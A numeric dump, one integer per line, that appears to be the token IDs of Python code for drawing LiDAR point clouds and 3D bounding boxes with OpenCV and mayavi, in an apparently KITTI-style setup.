29871,
29947,
29945,
13,
4706,
4079,
353,
13850,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
5425,
3580,
1307,
29990,
13,
13,
4706,
1426,
29918,
29880,
1849,
353,
518,
1853,
29918,
1761,
29961,
5415,
29889,
1853,
333,
448,
29871,
29896,
29962,
363,
5446,
297,
3618,
29906,
29881,
29962,
13,
4706,
1426,
29918,
29880,
1849,
29889,
7851,
29898,
29900,
29892,
376,
29906,
29928,
21099,
29901,
1159,
13,
4706,
363,
302,
297,
3464,
29898,
2435,
29898,
726,
29918,
29880,
1849,
22164,
13,
9651,
1426,
29918,
1066,
353,
313,
2962,
29916,
29892,
29871,
29906,
29945,
334,
313,
29876,
718,
29871,
29896,
876,
13,
9651,
13850,
29906,
29889,
649,
1626,
29898,
2492,
29896,
29892,
1426,
29918,
29880,
1849,
29961,
29876,
1402,
1426,
29918,
1066,
29892,
4079,
29892,
29871,
29900,
29889,
29945,
29892,
2927,
29892,
29871,
29900,
29892,
13850,
29906,
29889,
18521,
29918,
6344,
29897,
13,
4706,
396,
4216,
29871,
29941,
29928,
21099,
13,
4706,
565,
3618,
29918,
11965,
338,
451,
6213,
29901,
13,
9651,
2927,
353,
313,
29906,
29945,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
9651,
363,
5446,
297,
3618,
29918,
11965,
29901,
13,
18884,
565,
5446,
29889,
1853,
451,
297,
1134,
29918,
1761,
29901,
13,
462,
1678,
6773,
13,
18884,
13850,
29906,
29889,
1621,
2521,
29898,
13,
462,
1678,
10153,
29896,
29892,
13,
462,
1678,
313,
524,
29898,
5415,
29889,
29916,
1195,
511,
938,
29898,
5415,
29889,
962,
262,
8243,
13,
462,
1678,
313,
524,
29898,
5415,
29889,
29916,
3317,
511,
938,
29898,
5415,
29889,
29891,
3317,
8243,
13,
462,
1678,
2927,
29892,
13,
462,
268,
29896,
29892,
13,
18884,
1723,
13,
9651,
1369,
29916,
353,
29871,
29896,
29953,
29945,
13,
9651,
4079,
353,
13850,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
5425,
3580,
1307,
29990,
13,
13,
9651,
1426,
29918,
29880,
1849,
353,
518,
5415,
29889,
1853,
363,
5446,
297,
3618,
29918,
11965,
565,
5446,
29889,
1853,
297,
1134,
29918,
1761,
29962,
13,
9651,
1426,
29918,
29880,
1849,
29889,
7851,
29898,
29900,
29892,
376,
29941,
29928,
21099,
29901,
1159,
13,
9651,
363,
302,
297,
3464,
29898,
2435,
29898,
726,
29918,
29880,
1849,
22164,
13,
18884,
1426,
29918,
1066,
353,
313,
2962,
29916,
29892,
29871,
29906,
29945,
334,
313,
29876,
718,
29871,
29896,
876,
13,
18884,
13850,
29906,
29889,
649,
1626,
29898,
13,
462,
1678,
10153,
29896,
29892,
1426,
29918,
29880,
1849,
29961,
29876,
1402,
1426,
29918,
1066,
29892,
4079,
29892,
29871,
29900,
29889,
29945,
29892,
2927,
29892,
29871,
29900,
29892,
13850,
29906,
29889,
18521,
29918,
6344,
13,
18884,
1723,
13,
13,
4706,
13850,
29906,
29889,
326,
4294,
703,
2541,
29918,
29890,
1884,
613,
10153,
29896,
29897,
13,
4706,
13850,
29906,
29889,
326,
3539,
703,
2492,
29879,
12975,
718,
851,
29898,
978,
29897,
718,
11393,
2732,
613,
10153,
29896,
29897,
13,
13,
1678,
822,
1510,
29918,
29880,
333,
279,
29918,
2541,
29918,
19488,
29898,
1311,
29892,
22844,
29918,
955,
29877,
29892,
3618,
29892,
1208,
747,
29892,
10153,
29918,
29888,
586,
29922,
8824,
29892,
10153,
29918,
2103,
29922,
8516,
29892,
10153,
29918,
3545,
29922,
8516,
29892,
13,
462,
795,
3618,
29918,
11965,
29922,
8516,
29892,
10809,
29922,
8516,
29892,
7276,
29918,
1884,
29922,
8824,
29892,
22844,
29918,
1643,
29922,
8824,
29892,
4078,
29922,
8824,
29892,
13,
462,
795,
8158,
29918,
386,
12268,
29922,
29900,
29889,
29953,
1125,
13,
13,
4706,
9995,
7704,
599,
2718,
29928,
1718,
3291,
29889,
13,
9651,
18492,
29871,
29941,
29881,
3800,
297,
2718,
29928,
1718,
1298,
9570,
313,
262,
5343,
29877,
29311,
1788,
29897,
9995,
13,
13,
4706,
1596,
29898,
703,
3596,
1298,
954,
29901,
9162,
22844,
29918,
955,
29877,
29889,
12181,
29961,
29900,
12622,
13,
4706,
565,
10153,
29918,
29888,
586,
29901,
13,
9651,
22844,
29918,
955,
29877,
29918,
2248,
353,
3667,
29879,
29889,
657,
29918,
29880,
333,
279,
29918,
2248,
29918,
262,
29918,
3027,
29918,
29888,
586,
29898,
13,
18884,
22844,
29918,
955,
29877,
7503,
29892,
584,
29941,
1402,
1208,
747,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
10153,
29918,
2103,
29892,
10153,
29918,
3545,
13,
9651,
1723,
13,
9651,
22844,
29918,
955,
29877,
353,
22844,
29918,
955,
29877,
29961,
6739,
29918,
955,
29877,
29918,
2248,
29892,
584,
29962,
13,
9651,
1596,
29898,
703,
5800,
29963,
1298,
954,
29901,
9162,
22844,
29918,
955,
29877,
29889,
12181,
876,
13,
4706,
1596,
703,
6739,
29918,
955,
29877,
613,
22844,
29918,
955,
29877,
29889,
12181,
29897,
13,
4706,
4216,
29918,
29880,
333,
279,
29898,
6739,
29918,
955,
29877,
29892,
2537,
29922,
1311,
29889,
1003,
29892,
22844,
29918,
1643,
29922,
6739,
29918,
1643,
29897,
13,
13,
4706,
396,
18492,
10809,
13,
4706,
565,
10809,
338,
451,
6213,
29901,
13,
9651,
10809,
29918,
6739,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
19488,
29918,
517,
29918,
955,
29877,
29898,
19488,
29892,
7276,
29918,
1884,
29897,
13,
13,
9651,
1399,
575,
537,
353,
7442,
29889,
2873,
3552,
19488,
29918,
6739,
29918,
955,
29877,
29889,
12181,
29961,
29900,
1402,
29871,
29896,
876,
334,
29871,
29900,
29889,
29945,
13,
9651,
10809,
29918,
6739,
29918,
955,
29877,
353,
7442,
29889,
29882,
1429,
3552,
19488,
29918,
6739,
29918,
955,
29877,
29892,
1399,
575,
537,
876,
13,
9651,
1596,
703,
19488,
29918,
6739,
29918,
955,
29877,
29901,
613,
10809,
29918,
6739,
29918,
955,
29877,
29889,
12181,
29897,
13,
9651,
1596,
703,
19488,
29918,
6739,
29918,
955,
29877,
29901,
613,
1134,
29898,
19488,
29918,
6739,
29918,
955,
29877,
876,
13,
9651,
1596,
29898,
19488,
29918,
6739,
29918,
955,
29877,
7503,
29945,
2314,
13,
9651,
4216,
29918,
29880,
333,
279,
29898,
19488,
29918,
6739,
29918,
955,
29877,
29892,
2537,
29922,
1311,
29889,
1003,
29897,
13,
13,
9651,
565,
4078,
29901,
13,
18884,
848,
29918,
13140,
353,
29871,
29900,
13,
18884,
325,
873,
29918,
3972,
353,
376,
1272,
29914,
3318,
29914,
26495,
29914,
19488,
29918,
6739,
29908,
13,
18884,
4078,
29918,
9507,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29894,
873,
29918,
3972,
29892,
11860,
29900,
29953,
29881,
29889,
2109,
29908,
1273,
848,
29918,
13140,
29897,
13,
18884,
1596,
29898,
7620,
29918,
9507,
29897,
13,
18884,
396,
7442,
29889,
7620,
29898,
7620,
29918,
9507,
29974,
1642,
29876,
2272,
613,
7442,
29889,
2378,
29898,
19488,
29918,
6739,
29918,
955,
29877,
876,
13,
18884,
10809,
29918,
6739,
29918,
955,
29877,
353,
10809,
29918,
6739,
29918,
955,
29877,
29889,
579,
668,
29898,
9302,
29889,
7411,
29941,
29906,
29897,
13,
18884,
10809,
29918,
6739,
29918,
955,
29877,
29889,
517,
1445,
29898,
7620,
29918,
9507,
29897,
13,
13,
4706,
2927,
353,
313,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29897,
13,
4706,
363,
474,
29892,
5446,
297,
26985,
29898,
12650,
1125,
13,
9651,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
18884,
6773,
13,
9651,
396,
18492,
29871,
29941,
29881,
3216,
292,
3800,
13,
9651,
17117,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
9651,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
9651,
12183,
29889,
8382,
703,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
448,
4250,
29926,
29889,
6571,
1642,
4830,
29898,
29875,
718,
29871,
29896,
876,
13,
9651,
12183,
29889,
8382,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29897,
13,
13,
9651,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
4197,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
1402,
2537,
29922,
1311,
29889,
1003,
29892,
2927,
29922,
2780,
29892,
13,
462,
9651,
3858,
29922,
710,
29898,
5415,
29889,
1853,
29897,
718,
17411,
4250,
29926,
29889,
525,
718,
851,
29898,
29875,
718,
29871,
29896,
876,
13,
13,
4706,
565,
3618,
29918,
11965,
338,
451,
6213,
29901,
13,
9651,
363,
474,
29892,
5446,
297,
26985,
29898,
12650,
29918,
11965,
1125,
13,
18884,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
462,
1678,
6773,
13,
18884,
565,
5446,
29889,
13628,
529,
8158,
29918,
386,
12268,
29901,
13,
462,
1678,
6773,
13,
18884,
396,
18492,
29871,
29941,
29881,
3216,
292,
3800,
13,
18884,
17117,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
18884,
396,
2927,
353,
18761,
29898,
27703,
29961,
524,
29898,
5415,
29889,
333,
29897,
1273,
4236,
29918,
2780,
2314,
13,
18884,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
18884,
12183,
29889,
8382,
703,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
313,
23084,
6571,
1125,
1642,
4830,
29898,
710,
29898,
29875,
718,
29871,
29896,
4961,
13,
18884,
396,
3858,
353,
851,
29898,
5415,
29889,
1853,
29897,
7503,
29941,
29962,
718,
525,
1273,
29881,
29915,
1273,
5446,
29889,
333,
718,
525,
29901,
12365,
29889,
29896,
29888,
29913,
4286,
4830,
29898,
5415,
29889,
13628,
29897,
13,
18884,
3858,
353,
851,
29898,
5415,
29889,
1853,
29897,
7503,
29941,
29962,
718,
525,
29901,
12365,
29889,
29896,
29888,
29913,
4286,
4830,
29898,
5415,
29889,
13628,
29897,
13,
18884,
396,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
4197,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
1402,
2537,
29922,
1311,
29889,
1003,
29892,
2927,
29922,
2780,
29892,
3858,
29922,
1643,
29897,
13,
18884,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
4197,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
1402,
2537,
29922,
1311,
29889,
1003,
29892,
3858,
29922,
1643,
29897,
13,
18884,
396,
18492,
28435,
16578,
13,
18884,
17117,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
20659,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
18884,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
4170,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
18884,
921,
29896,
29892,
343,
29896,
29892,
503,
29896,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29900,
29892,
584,
29962,
13,
18884,
921,
29906,
29892,
343,
29906,
29892,
503,
29906,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29896,
29892,
584,
29962,
13,
18884,
286,
8205,
29889,
5317,
29941,
29881,
29898,
13,
462,
1678,
518,
29916,
29896,
29892,
921,
29906,
1402,
13,
462,
1678,
518,
29891,
29896,
29892,
343,
29906,
1402,
13,
462,
1678,
518,
29920,
29896,
29892,
503,
29906,
1402,
13,
462,
1678,
396,
2927,
29922,
2780,
29892,
13,
462,
1678,
260,
4003,
29918,
13471,
29922,
8516,
29892,
13,
462,
1678,
1196,
29918,
2103,
29922,
29896,
29892,
13,
462,
1678,
4377,
29922,
1311,
29889,
1003,
29892,
13,
18884,
1723,
13,
4706,
396,
286,
8205,
29889,
1493,
29898,
13,
4706,
396,
268,
2698,
326,
2806,
29922,
29896,
29947,
29900,
29892,
13,
4706,
396,
268,
11858,
362,
29922,
29953,
29900,
29892,
13,
4706,
396,
268,
12789,
284,
3149,
11759,
29896,
29947,
29892,
29871,
29900,
29892,
29871,
29900,
1402,
13,
4706,
396,
268,
5418,
29922,
29945,
29900,
29889,
29900,
29892,
13,
4706,
396,
268,
4377,
29922,
1311,
29889,
1003,
29892,
13,
4706,
396,
1723,
13,
4706,
3883,
29918,
12847,
353,
1583,
29889,
1003,
29889,
11991,
29961,
29900,
1822,
11991,
29961,
29900,
29962,
13,
4706,
3883,
29918,
12847,
29889,
19529,
279,
29918,
29880,
329,
29918,
12847,
29889,
4537,
29918,
974,
29918,
27703,
353,
29871,
29906,
29945,
29953,
13,
4706,
3883,
29918,
12847,
29889,
19529,
279,
29918,
29880,
329,
29918,
12847,
29889,
29880,
329,
29918,
8513,
353,
525,
4026,
29915,
13,
4706,
3883,
29918,
12847,
29889,
19529,
279,
29918,
29880,
329,
29918,
12847,
29889,
24244,
29918,
29880,
329,
353,
5852,
13,
13,
4706,
330,
27026,
353,
1583,
29889,
1003,
29889,
11991,
29961,
29900,
1822,
11991,
29961,
29900,
1822,
11991,
29961,
29900,
29962,
13,
4706,
330,
27026,
29889,
7168,
29889,
6799,
29889,
3149,
29918,
2311,
353,
29871,
29941,
29889,
29900,
13,
4706,
9088,
353,
1583,
29889,
1003,
29889,
24645,
13,
4706,
9088,
29889,
26065,
29889,
3283,
353,
21069,
29906,
29929,
29889,
29945,
29906,
29929,
29946,
29906,
29896,
29896,
29953,
29929,
29953,
29955,
29929,
29900,
29900,
29946,
29892,
448,
29900,
29889,
29900,
29906,
29929,
29929,
29941,
29900,
29941,
29900,
29946,
29900,
29945,
29896,
29929,
29946,
29900,
29900,
29946,
29955,
29892,
29871,
29896,
29945,
29889,
29953,
29906,
29929,
29953,
29941,
29896,
29906,
29953,
29946,
29946,
29900,
29900,
29929,
29929,
29929,
29962,
13,
4706,
9088,
29889,
26065,
29889,
29888,
18642,
29918,
3149,
353,
518,
29896,
29947,
29889,
29946,
29900,
29946,
29946,
29953,
29896,
29945,
29953,
29900,
29953,
29953,
29953,
29941,
29955,
29892,
448,
29900,
29889,
29929,
29929,
29941,
29900,
29929,
29955,
29941,
29906,
29896,
29946,
29896,
29947,
29953,
29941,
29947,
29941,
29892,
29871,
29896,
29889,
29946,
29941,
29955,
29945,
29946,
29929,
29896,
29896,
29953,
29945,
29929,
29906,
29941,
29953,
29906,
29953,
29962,
13,
4706,
9088,
29889,
26065,
29889,
1493,
29918,
2521,
353,
29871,
29941,
29900,
29889,
29900,
13,
4706,
9088,
29889,
26065,
29889,
1493,
29918,
786,
353,
518,
29900,
29889,
29906,
29947,
29941,
29947,
29945,
29896,
29953,
29929,
29941,
29900,
29947,
29955,
29906,
29896,
29896,
29945,
29892,
448,
29900,
29889,
29900,
29900,
29906,
29906,
29953,
29955,
29929,
29900,
29900,
29946,
29906,
29953,
29900,
29947,
29953,
29946,
29900,
29953,
29892,
29871,
29900,
29889,
29929,
29945,
29947,
29947,
29953,
29945,
29945,
29896,
29941,
29946,
29947,
29929,
29941,
29946,
29906,
29947,
29962,
13,
4706,
9088,
29889,
26065,
29889,
11303,
3262,
29918,
3881,
353,
518,
29900,
29889,
29946,
29955,
29900,
29896,
29900,
29953,
29900,
29906,
29945,
29946,
29906,
29896,
29929,
29945,
29955,
29947,
29946,
29892,
29871,
29946,
29955,
29900,
29889,
29896,
29900,
29953,
29900,
29906,
29945,
29946,
29906,
29896,
29929,
29945,
29955,
29947,
29946,
29962,
13,
13,
1678,
822,
1510,
29918,
29880,
333,
279,
29918,
2541,
29918,
1884,
267,
29898,
1311,
29892,
22844,
29918,
955,
29877,
29892,
3618,
29892,
1208,
747,
29892,
10153,
29918,
29888,
586,
29922,
8824,
29892,
10153,
29918,
2103,
29922,
8516,
29892,
10153,
29918,
3545,
29922,
8516,
29892,
13,
462,
795,
3618,
29918,
11965,
29922,
8516,
29892,
10809,
29922,
8516,
1125,
13,
4706,
9995,
7704,
599,
2718,
29928,
1718,
3291,
29889,
13,
9651,
18492,
29871,
29941,
29881,
3800,
297,
2718,
29928,
1718,
1298,
9570,
313,
262,
5343,
29877,
29311,
1788,
29897,
9995,
13,
13,
4706,
1596,
29898,
703,
3596,
1298,
954,
29901,
9162,
22844,
29918,
955,
29877,
29889,
12181,
29961,
29900,
12622,
13,
4706,
565,
10153,
29918,
29888,
586,
29901,
13,
9651,
22844,
29918,
955,
29877,
353,
3667,
29879,
29889,
657,
29918,
29880,
333,
279,
29918,
262,
29918,
3027,
29918,
29888,
586,
29898,
13,
18884,
22844,
29918,
955,
29877,
7503,
29892,
29871,
29900,
29901,
29941,
1402,
1208,
747,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
10153,
29918,
2103,
29892,
10153,
29918,
3545,
13,
9651,
1723,
13,
9651,
1596,
29898,
703,
5800,
29963,
1298,
954,
29901,
9162,
22844,
29918,
955,
29877,
29889,
12181,
29961,
29900,
12622,
13,
4706,
1596,
703,
6739,
29918,
955,
29877,
613,
22844,
29918,
955,
29877,
29889,
12181,
29897,
13,
4706,
4216,
29918,
29880,
333,
279,
29898,
6739,
29918,
955,
29877,
29892,
2537,
29922,
1311,
29889,
1003,
29897,
13,
4706,
396,
22844,
29918,
955,
29877,
29922,
6739,
29918,
955,
29877,
7503,
29892,
29900,
29901,
29941,
29962,
13,
13,
4706,
2927,
353,
313,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29897,
13,
4706,
363,
5446,
297,
3618,
29901,
13,
9651,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
18884,
6773,
13,
9651,
396,
18492,
29871,
29941,
29881,
3216,
292,
3800,
13,
9651,
17117,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
9651,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
9651,
1596,
703,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29901,
1159,
13,
9651,
1596,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29897,
13,
13,
9651,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
4197,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
1402,
2537,
29922,
1311,
29889,
1003,
29892,
2927,
29922,
2780,
29897,
13,
13,
9651,
396,
18492,
10809,
13,
9651,
565,
10809,
338,
451,
6213,
29901,
13,
18884,
396,
1053,
282,
2585,
29936,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
18884,
10809,
29918,
415,
29941,
29881,
353,
3667,
29879,
29889,
19488,
29918,
12803,
29918,
415,
29941,
29881,
29898,
19488,
29892,
5446,
29897,
13,
18884,
10809,
29918,
29965,
29963,
8498,
386,
353,
7442,
29889,
3298,
359,
29918,
4561,
29898,
19488,
29918,
415,
29941,
29881,
29897,
13,
18884,
10809,
29918,
29965,
29963,
8498,
386,
7503,
29892,
29871,
29900,
29962,
353,
10809,
29918,
415,
29941,
29881,
7503,
29892,
29871,
29896,
29962,
13,
18884,
10809,
29918,
29965,
29963,
8498,
386,
7503,
29892,
29871,
29896,
29962,
353,
10809,
29918,
415,
29941,
29881,
7503,
29892,
29871,
29900,
29962,
13,
18884,
10809,
29918,
29965,
29963,
8498,
386,
7503,
29892,
29871,
29906,
29962,
353,
10809,
29918,
415,
29941,
29881,
7503,
29892,
29871,
29906,
29962,
13,
18884,
1596,
703,
19488,
29918,
415,
29941,
29881,
29901,
613,
10809,
29918,
29965,
29963,
8498,
386,
29897,
13,
18884,
1401,
29918,
6739,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
3027,
29918,
517,
29918,
955,
29877,
29898,
19488,
29918,
29965,
29963,
8498,
386,
29897,
13,
18884,
1596,
703,
2716,
29918,
6739,
29918,
955,
29877,
29901,
613,
1401,
29918,
6739,
29918,
955,
29877,
29897,
13,
13,
18884,
4216,
29918,
29880,
333,
279,
29898,
2716,
29918,
6739,
29918,
955,
29877,
29892,
2537,
29922,
1311,
29889,
1003,
29897,
13,
13,
9651,
396,
18492,
28435,
16578,
13,
9651,
17117,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
20659,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
9651,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
4170,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
9651,
921,
29896,
29892,
343,
29896,
29892,
503,
29896,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29900,
29892,
584,
29962,
13,
9651,
921,
29906,
29892,
343,
29906,
29892,
503,
29906,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29896,
29892,
584,
29962,
13,
9651,
286,
8205,
29889,
5317,
29941,
29881,
29898,
13,
18884,
518,
29916,
29896,
29892,
921,
29906,
1402,
13,
18884,
518,
29891,
29896,
29892,
343,
29906,
1402,
13,
18884,
518,
29920,
29896,
29892,
503,
29906,
1402,
13,
18884,
2927,
29922,
2780,
29892,
13,
18884,
260,
4003,
29918,
13471,
29922,
8516,
29892,
13,
18884,
1196,
29918,
2103,
29922,
29896,
29892,
13,
18884,
4377,
29922,
1311,
29889,
1003,
29892,
13,
9651,
1723,
13,
4706,
565,
3618,
29918,
11965,
338,
451,
6213,
29901,
13,
9651,
2927,
353,
313,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
9651,
363,
5446,
297,
3618,
29918,
11965,
29901,
13,
18884,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
462,
1678,
6773,
13,
18884,
396,
18492,
29871,
29941,
29881,
3216,
292,
3800,
13,
18884,
17117,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
18884,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
18884,
1596,
703,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29901,
1159,
13,
18884,
1596,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29897,
13,
18884,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
4197,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
1402,
2537,
29922,
1311,
29889,
1003,
29892,
2927,
29922,
2780,
29897,
13,
18884,
396,
18492,
28435,
16578,
13,
18884,
17117,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
20659,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
18884,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
4170,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
18884,
921,
29896,
29892,
343,
29896,
29892,
503,
29896,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29900,
29892,
584,
29962,
13,
18884,
921,
29906,
29892,
343,
29906,
29892,
503,
29906,
353,
470,
29875,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29961,
29896,
29892,
584,
29962,
13,
18884,
286,
8205,
29889,
5317,
29941,
29881,
29898,
13,
462,
1678,
518,
29916,
29896,
29892,
921,
29906,
1402,
13,
462,
1678,
518,
29891,
29896,
29892,
343,
29906,
1402,
13,
462,
1678,
518,
29920,
29896,
29892,
503,
29906,
1402,
13,
462,
1678,
2927,
29922,
2780,
29892,
13,
462,
1678,
260,
4003,
29918,
13471,
29922,
8516,
29892,
13,
462,
1678,
1196,
29918,
2103,
29922,
29896,
29892,
13,
462,
1678,
4377,
29922,
1311,
29889,
1003,
29892,
13,
18884,
1723,
13,
4706,
286,
8205,
29889,
4294,
29898,
29896,
29897,
13,
13,
1678,
822,
1002,
29918,
29880,
333,
279,
29918,
2541,
29918,
1884,
267,
29898,
1311,
29892,
22844,
29918,
955,
29877,
29892,
3618,
29892,
1208,
747,
1125,
13,
4706,
9995,
7704,
599,
2718,
29928,
1718,
3291,
29889,
13,
9651,
18492,
29871,
29941,
29881,
3800,
297,
2718,
29928,
1718,
1298,
9570,
313,
262,
5343,
29877,
29311,
1788,
29897,
9995,
13,
13,
4706,
396,
1596,
29898,
877,
3596,
1298,
954,
29901,
13420,
22844,
29918,
955,
29877,
29889,
12181,
29961,
29900,
12622,
13,
13,
4706,
396,
4216,
29918,
29880,
333,
279,
29898,
6739,
29918,
955,
29877,
29892,
2537,
29922,
1311,
29889,
1003,
29897,
13,
4706,
396,
2927,
7607,
29900,
29892,
29896,
29892,
29900,
29897,
13,
4706,
363,
5446,
297,
3618,
29901,
13,
9651,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
18884,
6773,
13,
9651,
17117,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
9651,
3800,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
353,
1208,
747,
29889,
4836,
29918,
1621,
29918,
517,
29918,
955,
29877,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29897,
13,
9651,
325,
29918,
29880,
29892,
325,
29918,
29893,
29892,
325,
29918,
29882,
29892,
903,
353,
3667,
29879,
29889,
657,
29918,
955,
29877,
29918,
1332,
29880,
29898,
1884,
29941,
29881,
29918,
16485,
29918,
29941,
29881,
29918,
955,
29877,
29892,
22844,
29918,
955,
29877,
29897,
13,
9651,
1596,
11702,
29889,
29946,
29888,
18695,
29946,
29888,
18695,
29946,
29888,
1273,
29879,
29908,
1273,
313,
29894,
29918,
29893,
29892,
325,
29918,
29882,
29892,
325,
29918,
29880,
29892,
5446,
29889,
1853,
876,
13,
13,
1678,
822,
1510,
29918,
29880,
333,
279,
29918,
265,
29918,
3027,
29898,
1311,
29892,
22844,
29918,
955,
29877,
29892,
10153,
29892,
1208,
747,
29892,
10153,
29918,
2103,
29892,
10153,
29918,
3545,
1125,
13,
4706,
9995,
8010,
2718,
29928,
1718,
3291,
304,
1967,
9995,
13,
4706,
10153,
353,
7442,
29889,
8552,
29898,
2492,
29897,
13,
4706,
10153,
29888,
586,
29918,
6739,
29918,
955,
29877,
29892,
282,
1372,
29918,
29906,
29881,
29892,
285,
586,
29918,
12772,
353,
3667,
29879,
29889,
657,
29918,
29880,
333,
279,
29918,
262,
29918,
3027,
29918,
29888,
586,
29898,
13,
9651,
22844,
29918,
955,
29877,
29892,
1208,
747,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
10153,
29918,
2103,
29892,
10153,
29918,
3545,
29892,
5852,
13,
4706,
1723,
13,
4706,
10153,
29888,
586,
29918,
16485,
29918,
29906,
29881,
353,
282,
1372,
29918,
29906,
29881,
29961,
29888,
586,
29918,
12772,
29892,
584,
29962,
13,
4706,
10153,
29888,
586,
29918,
6739,
29918,
1621,
